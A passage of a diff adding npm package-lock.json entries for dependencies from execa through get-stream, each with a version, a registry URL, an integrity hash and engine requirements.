"dependencies": { + "cross-spawn": "^7.0.3", + "get-stream": "^6.0.0", + "human-signals": "^2.1.0", + "is-stream": "^2.0.0", + "merge-stream": "^2.0.0", + "npm-run-path": "^4.0.1", + "onetime": "^5.1.2", + "signal-exit": "^3.0.3", + "strip-final-newline": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sindresorhus/execa?sponsor=1" + } + }, + "node_modules/exenv": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/exenv/-/exenv-1.2.2.tgz", + "integrity": "sha512-Z+ktTxTwv9ILfgKCk32OX3n/doe+OcLTRtqK9pcL+JsP3J1/VW8Uvl4ZjLlKqeW4rzK4oesDOGMEMRIZqtP4Iw==" + }, + "node_modules/exit": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", + "integrity": "sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==", + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/expect": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/expect/-/expect-27.5.1.tgz", + "integrity": "sha512-E1q5hSUG2AmYQwQJ041nvgpkODHQvB+RKlB4IYdru6uJsyFTRyZAP463M+1lINorwbqAmUggi6+WwkD8lCS/Dw==", + "dependencies": { + "@jest/types": "^27.5.1", + "jest-get-type": "^27.5.1", + "jest-matcher-utils": "^27.5.1", + "jest-message-util": "^27.5.1" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/express": { + "version": "4.18.2", + "resolved": "https://registry.npmjs.org/express/-/express-4.18.2.tgz", + "integrity": "sha512-5/PsL6iGPdfQ/lKM1UuielYgv3BUoJfz1aUwU9vHZ+J7gyvwdQXFEBIEIaxeGf0GIcreATNyBExtalisDbuMqQ==", + "dependencies": { + "accepts": "~1.3.8", + "array-flatten": "1.1.1", + "body-parser": "1.20.1", + "content-disposition": "0.5.4", + "content-type": "~1.0.4", + "cookie": "0.5.0", + "cookie-signature": "1.0.6", + "debug": "2.6.9", + "depd": "2.0.0", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "etag": "~1.8.1", + "finalhandler": "1.2.0", + "fresh": "0.5.2", + "http-errors": "2.0.0", + "merge-descriptors": "1.0.1", + "methods": "~1.1.2", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "path-to-regexp": "0.1.7", + "proxy-addr": "~2.0.7", + "qs": "6.11.0", + "range-parser": "~1.2.1", + "safe-buffer": "5.2.1", + "send": "0.18.0", + "serve-static": "1.15.0", + "setprototypeof": "1.2.0", + "statuses": "2.0.1", + "type-is": "~1.6.18", + "utils-merge": "1.0.1", + "vary": "~1.1.2" + }, + "engines": { + "node": ">= 0.10.0" + } + }, + "node_modules/express/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/express/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/express/node_modules/path-to-regexp": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", + "integrity": "sha512-5DFkuoqlv1uYQKxy8omFBeJPQcdoE07Kv2sferDCrAq1ohOU+MSDswDIbnx3YAM60qIOnYa53wBhXW0EbMonrQ==" + }, + "node_modules/fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha512-bCK/2Z4zLidyB4ReuIsvALH6w31YfAQDmXMqMx6FyfHqvBxtjC0eRumeSu4Bs3XtXwpyIywtSTrVT99BxY1f9w==" + }, + "node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-json-stable-stringify": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", + "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==" + }, + "node_modules/fast-levenshtein": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", + "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==" + }, + "node_modules/fastq": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz", + "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/faye-websocket": { + "version": "0.11.4", + "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz", + "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==", + "dependencies": { + "websocket-driver": ">=0.5.1" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/fb-watchman": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz", + "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==", + "dependencies": { + "bser": "2.1.1" + } + }, + "node_modules/file-entry-cache": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", + "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==", + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/file-loader": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz", + "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==", + "dependencies": { + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0" + }, + "engines": { + "node": ">= 10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/filelist": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz", + "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz", + "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/filesize": { + "version": "8.0.7", + "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz", + "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/fill-range": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", + "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/finalhandler": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.2.0.tgz", + "integrity": "sha512-5uXcUVftlQMFnWC9qu/svkWv3GTd2PfUhK/3PLkYNAe7FbqJMt3515HaxE6eRL74GdsriiwujiawdaB1BpEISg==", + "dependencies": { + "debug": "2.6.9", + "encodeurl": "~1.0.2", + "escape-html": "~1.0.3", + "on-finished": "2.4.1", + "parseurl": "~1.3.3", + "statuses": "2.0.1", + "unpipe": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/finalhandler/node_modules/debug": { + "version": "2.6.9", + "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", + "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", + "dependencies": { + "ms": "2.0.0" + } + }, + "node_modules/finalhandler/node_modules/ms": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", + "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" + }, + "node_modules/find-cache-dir": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz", + "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==", + "dependencies": { + "commondir": "^1.0.1", + "make-dir": "^3.0.2", + "pkg-dir": "^4.1.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/avajs/find-cache-dir?sponsor=1" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz", + "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.2.9", + "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.2.9.tgz", + "integrity": "sha512-36yxDn5H7OFZQla0/jFJmbIKTdZAQHngCedGxiMmpNfEZM0sdEeT+WczLQrjK6D7o2aiyLYDnkw0R3JK0Qv1RQ==" + }, + "node_modules/follow-redirects": { + "version": "1.15.5", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.5.tgz", + "integrity": "sha512-vSFWUON1B+yAw1VN4xMfxgn5fTUiaOzAJCKBwIIgT/+7CuGy9+r+5gITvP62j3RmaD5Ph65UaERdOSRGUzZtgw==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.3.tgz", + "integrity": "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==", + "dependencies": { + "is-callable": "^1.1.3" + } + }, + "node_modules/foreground-child": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.1.1.tgz", + "integrity": "sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==", + "dependencies": { + "cross-spawn": "^7.0.0", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/foreground-child/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/fork-ts-checker-webpack-plugin": { + "version": "6.5.3", + "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz", + "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==", + "dependencies": { + "@babel/code-frame": "^7.8.3", + "@types/json-schema": "^7.0.5", + "chalk": "^4.1.0", + "chokidar": "^3.4.2", + "cosmiconfig": "^6.0.0", + "deepmerge": "^4.2.2", + "fs-extra": "^9.0.0", + "glob": "^7.1.6", + "memfs": "^3.1.2", + "minimatch": "^3.0.4", + "schema-utils": "2.7.0", + "semver": "^7.3.2", + "tapable": "^1.0.0" + }, + "engines": { + "node": ">=10", + "yarn": ">=1.0.0" + }, + "peerDependencies": { + "eslint": ">= 6", + "typescript": ">= 2.7", + "vue-template-compiler": "*", + "webpack": ">= 4" + }, + "peerDependenciesMeta": { + "eslint": { + "optional": true + }, + "vue-template-compiler": { + "optional": true + } + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz", + "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==", + "dependencies": { + "@types/parse-json": "^4.0.0", + "import-fresh": "^3.1.0", + "parse-json": "^5.0.0", + "path-type": "^4.0.0", + "yaml": "^1.7.2" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz", + "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==", + "dependencies": { + "@types/json-schema": "^7.0.4", + "ajv": "^6.12.2", + "ajv-keywords": "^3.4.1" + }, + "engines": { + "node": ">= 8.9.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/semver": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz", + "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz", + "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==", + "engines": { + "node": ">=6" + } + }, + "node_modules/fork-ts-checker-webpack-plugin/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, + "node_modules/form-data": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz", + "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fraction.js": { + "version": "4.3.7", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-4.3.7.tgz", + "integrity": "sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==", + "engines": { + "node": "*" + }, + "funding": { + "type": "patreon", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fresh": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz", + "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs-monkey": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.0.5.tgz", + "integrity": "sha512-8uMbBjrhzW76TYgEV27Y5E//W2f/lTFmx78P2w19FZSxarhI/798APGQyuGCwmkNxgwGRhrLfvWyLBvNtuOmew==" + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "hasInstallScript": true, + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.6.tgz", + "integrity": "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==", + "dependencies": { + "call-bind": "^1.0.2", + "define-properties": "^1.2.0", + "es-abstract": "^1.22.1", + "functions-have-names": "^1.2.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/fuse.js": { + "version": "6.6.2", + "resolved": "https://registry.npmjs.org/fuse.js/-/fuse.js-6.6.2.tgz", + "integrity": "sha512-cJaJkxCCxC8qIIcPBF9yGxY0W/tVZS3uEISDxhYIdtk8OL93pe+6Zj7LjCqVV4dzbqcriOZ+kQ/NE4RXZHsIGA==", + "engines": { + "node": ">=10" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz", + "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "has-proto": "^1.0.1", + "has-symbols": "^1.0.3", + "hasown": "^2.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-own-enumerable-property-symbols": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz", + "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==" + }, + "node_modules/get-package-type": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/get-package-type/-/get-package-type-0.1.0.tgz", + "integrity": "sha512-pjzuKtY64GYfWizNAJ0fr9VqttZkNiK2iS430LtIHzjBEr6bX8Am2zm4sW4Ro5wjWW5cAlRL1qAMTcXbjNAO2Q==", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/get-stream": { + "version": "6.0.1", + "resolved": 